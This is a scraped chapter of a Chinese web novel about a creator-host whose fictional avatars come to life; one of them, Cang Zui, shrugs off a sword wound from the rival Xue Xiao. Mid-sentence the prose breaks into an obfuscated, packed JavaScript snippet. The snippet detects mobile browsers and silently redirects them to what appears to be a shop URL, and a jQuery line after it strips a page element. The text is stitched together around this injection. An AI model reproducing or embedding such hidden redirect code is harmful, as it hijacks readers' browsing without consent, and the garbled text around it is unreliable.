28.就凭你吗
作品:《我笔下的角色都成真了》 系统其实一直清楚自家宿主不是个心软的创世主,可以说只要和宿主熟悉一点的人都知道,自家宿主是个性子再淡漠不过的人。
他不缺钱,更不缺同伴。
但那段不为人熟知的过往早已使得他丧失了人类最普通不过的情绪。
活着行,死了也可以,他是一个没有锚点的存在。
所以在看到宿主为了好大儿发怒的时候,系统的第一反应是——
啊,真好,宿主还是有在意的人的。
哪怕这些人都可以算作宿主自身的切片、化身,但那也是极好的。
起码像个真实的人类了。
但是!!!
可怜弱小又无助的小系统这个美妙的想法仅仅保留了几秒钟,一分钟都不到,然后……
【我去!宿主!你提着刀干什么!】
系统颤颤巍巍:好大一把刀,好可怕一宿主。
温淮年伸出手,动作轻柔地拍了拍苍醉的肩膀。撤回手时,他的指尖无意间划过苍醉冰冷的肌肤。
“别怕,我在。”温淮年的声音低沉,带着些许不为人知的深意。
苍醉很强,最清楚这点的人莫过于温淮年本人了。
本身就是顶级傀儡师的苍醉,还被他投喂了幻妖的织梦能力。
说是世上最强的法攻能力毫不为过。
但是温淮年不在乎,他只在乎一点,那就是“他”受到伤害了。
这怎么可以呢?
温淮年眼睛眨都不带眨一下的,面不改色地兑换了一柄通体纯黑的长刀。
刀身修长,刀刃薄而锋利,在暗光下泛着凌厉的寒光,在靠近刀柄的刀身上隐隐约约露出几个刻字。
最引人注目的还不是刀,而是这道具后面一长串天文数字,以及“已下架”三个大字。
这是独一无二的高级道具,贵得离谱,但同样的,道具的威力自然不容小觑。
系统是不能过于干扰宿主任务进度的,但这次它深感不妙,探出细长的触手就要抱住自家宿主的精神体。
【宿主……】系统目瞪口呆,【唔唔唔……】
温淮年声音温柔地说:“系统,你今天好吵呀。”
他现在明明很认真很清醒,为什么要用那种奇奇怪怪的眼神看着他呢。
不过很快,他就把目光移到了苍醉身上。
然后他勾了勾唇,露出一个满意的笑容。
你看,果然还得是他的好大儿们懂他。
只有他们才是真正一体的、无法分割的存在,不是吗?
苍醉目光依恋,抬起头很小心地在“父亲”的颈窝里蹭了蹭。
系统的身体被屏蔽了,但它的嘴可没有。
它直接来了一通乱七八糟的嚎叫:【苍醉!苍醉!】
苍醉薄唇微抿,略有些羞怯地说:“温哥,你会一直保护我的,对不对?”
系统:【!!!】
苍醉你个浓眉大眼的,看上去人畜无害的,怎么这么会拱火呢?
火上浇油,你一把好手!
系统心底的不安逐渐转变为了绝望——
靠!完了完了!
它絮絮叨叨地跑到了后台,一个扎猛子就钻进了资料库疯狂查询。
【救世主突然想灭世了怎么办啊……哎呦……宿主你真是……】
“没事。”
耳边突然传来一道轻飘飘的男声,系统猛一回头。
风昼的精神体大咧咧地躺在系统空间里,想来是刚刚斩妖回来,他的眉眼间散发出丝丝惬意与闲适。
杀手嘛,当然还是干本职工作的时候比较来劲了。
系统放下手头的东西,提高音量问道:【你嘀咕什么呢?】
风昼乌黑的眼眸直勾勾望向它,看上去甚至有几分瘆人。
他咧开嘴,狂放不羁地笑了笑,没等系统露出看疯子的眼神时,他便恢复了正常,掀起眼皮不屑地说道:
“我有分寸。”
言外之意是,我不会灭世。
系统深吸一口气:【不是,现在是宿主要灭世,你一个化身跑出来凑什么热闹!】
你顶多算个人格碎片,那能一样吗?!
风昼无所谓地摆摆手,目空一切,说道:“他是什么样,我就是什么样。”
看着风昼肯定的眼神,系统的心诡异地静了下来。
或许,是真的没事?
“苍醉,带他们离开。”温淮年微微垂眸,轻声交代道。
苍醉眷恋地点点头,顺从照办。
温淮年侧首,目光定定地落在眼前不断震颤的高楼之上。
仿佛被眼前“蝼蚁”般的人类惹怒,高楼缝隙间发出“咯吱咯吱”的声响,就好似猛兽被吵醒后发出的闷吼声。
…………
“淮年哥——”
隔着狂风突然卷起的漫天沙砾,让整个世界都仿佛被蒙上一层不透光的灰色。
是谁在喊他的名字?
温淮年听不清晰了。
百明鸿的一条胳膊还被苍醉死命夹住,他和褚翊不约而同的呼喊声在苍醉冰冷的声线下突然打住。
苍醉眉眼阴沉,白粉的唇微微抿起,脸颊上是一道细小的血痕,想来是刚刚被沙砾磨破的。
都出了光幕,苍醉也没有伪装的兴致,他猛地甩开两人的胳膊,嫌弃地耸了耸鼻尖。
“乖乖待着,我要回去找温哥。”
褚翊从地面上狼狈地爬起来:“……我……”
苍醉猛地回头,俯下身子与他直视,说:“温哥是我的,你们总像无耻难缠的飞虫一样缠着他,我很不开心。”
褚翊的瞳孔骤然一缩,他看到了……
苍醉纯黑的瞳孔一瞬间化作了无机质的灰蓝色,就连眼底都仿佛一滩望不见底的深渊,不带一丝光亮。
他柔顺的长发垂落,有几缕发丝甚至在微风中拂过了褚翊的脸颊。
距离太近了,近到他能清楚感知到对方身上惊人的气息。
“他太心善,总是纵容你们,”苍醉像是沉浸在自己的世界中,“可是人类的感情是有限的,你们多一点,我就会少一点。”
那也实在是太可怕了。
“父亲”本该只属于他们的,怎么能再把爱分给其他陌生人呢。
百明鸿被丢的远,他拍拍屁股站了起来,伸出胳膊就把褚翊从苍醉的压制下拽了出来,“犟种你过来!”
小百同志很有自知之明,他松开褚翊,拧着眉头道:“有淮年哥在,咱们还去帮什么倒忙啊?”
他们两个小趴菜有几斤几两,他们自己还是很清楚的好吧!
百明鸿年轻气盛,向来和他哥就是两个极端。但当他真沉下个脸时,褚翊惊讶地从他的脸上看出几分百明霄的影子。
褚翊冷静下来后,百明鸿暗暗松了口气,他把视线移到苍醉身上,刚想开口时就突然面色惊恐地高声提醒道:“苍醉!”
利器破风声迅猛而急切,百明鸿情急之下甚至想伸出手推苍醉一把,但是对方的速度明显更快一步。
长剑直直穿透了苍醉的身体,精致漂亮的衣裳瞬间被大片血色染红。
光幕中的温淮年身形一顿,突然蹙起了眉。
薛效自苍醉身后绕了一圈,将拔出来的长剑随手丢在了地上。
他的长相是不引
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399548|197375||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人注目的孤冷沉寂,现在才略微揭开了他隐藏在皮囊下的傲慢与冷漠。
他在领域里和温淮年说的话,当然是真心的。
温淮年需要的就应该是他们这种最优秀的、最克制理性的伙伴。
“你陪着他并不合适。”薛效不疾不徐地走近苍醉,在他身后,几抹身影突然出现将百明鸿和褚翊按在了地上。
来人情绪激越,神情痴狂。
简单来说就是,看起来精神状态十分堪忧。
苍醉把手放在伤口上,低声呢喃道:“脏了。”
薛效皱眉,盘算这人心里打什么鬼主意呢。
苍醉有些不悦地仰了仰头,面容干净白皙,没有一丝狼狈神色。
不能和“父亲”并肩作战了,不开心。
但是之后“父亲”会抽出时间来安慰他,这很好。
“你很喜欢温哥对吧。”苍醉眼眸亮晶晶的。
薛效:?
“但是那实在不好意思了,温哥知道你对我动手之后很生气呢。”
薛效明显不信,冷嗤一声道:“温淮年可不是那种重感情的人。”
苍醉一开口就是遗憾中带着几分惆怅的语气:“对你们来说,他当然是不重感情的了。”
言外之意是,温淮年当然是有偏爱的人的,只不过肯定不是他们。
薛效:“你怎么还不死?”
一个人被捅了一剑怎么还能活蹦乱跳这么久啊?!
苍醉松开手,原本白净的手指间沾满了血色,但是他依旧神态自若,甚至很耐心地指导对方:“心急吃不了热豆腐,你演戏能力一般。”
薛效不语,只是又提剑……
苍醉的身形瞬间移动到薛效身边,轻柔的嗓音在他的耳畔响起:“你似乎暂时杀不掉我啊……”
百明鸿和褚翊哐当一声重重摔在了地上,身边压着他们的陌生人突然失去了踪影。
苍醉用手背拍了拍薛效的脸,这个动作带着明晃晃的羞辱意味。
薛效看着他的眼神一变,似乎是从这个场景回忆起了什么。
好像,苍醉和温淮年真的好像。
百明鸿和褚翊急急忙忙地围了上来,百明鸿看到衣服上那一大滩血迹就是一句“我的天”。
但当他拼命撕咬着布条时,苍醉伸手制止了他:“我没事,省省劲吧。”
百明鸿嘴里叼着东西,懵懂抬头,然后就见到脸色恢复正常的苍醉。
青年长发黑眸,不张嘴讽刺人的时候自带矜贵疏离感,看上去和温淮年神似。
褚翊胆子大,小心翼翼地伸出手,试探着摸向苍醉的伤口。
撩开鲜血淋漓的破裂衣服,他们只看到了一片平坦光滑的肌肤,哪里看得到被狠狠贯穿的伤口。
褚翊震惊地瞪大了眼睛,和百明鸿眼神交流——
【咱们这是发现了什么,他会不会杀人灭口啊?】
百明鸿摇摇头:【杀人灭口不太可能吧,淮年哥不会让他这样做的。】
褚翊突然反应过来:【……原来他真的不是人……】
在得知苍醉的能力时,也会有人开玩笑,笑骂道:
“苍醉,你丫的还是不是个人类?”
怎么能厉害成这个样子!
得了,原来还真不是。
苍醉眼底是对于两个傻子的嫌弃,但还是稍微侧了侧身子把他们挡在了身后,然后看着薛效懒懒散散道:
“还不逃?”
薛效沉默两秒,说:“温淮年需要得力的助手。”
苍醉用手指了指伤口,似笑非笑道:“就凭你吗?”
一个连他都杀不了的蠢货。

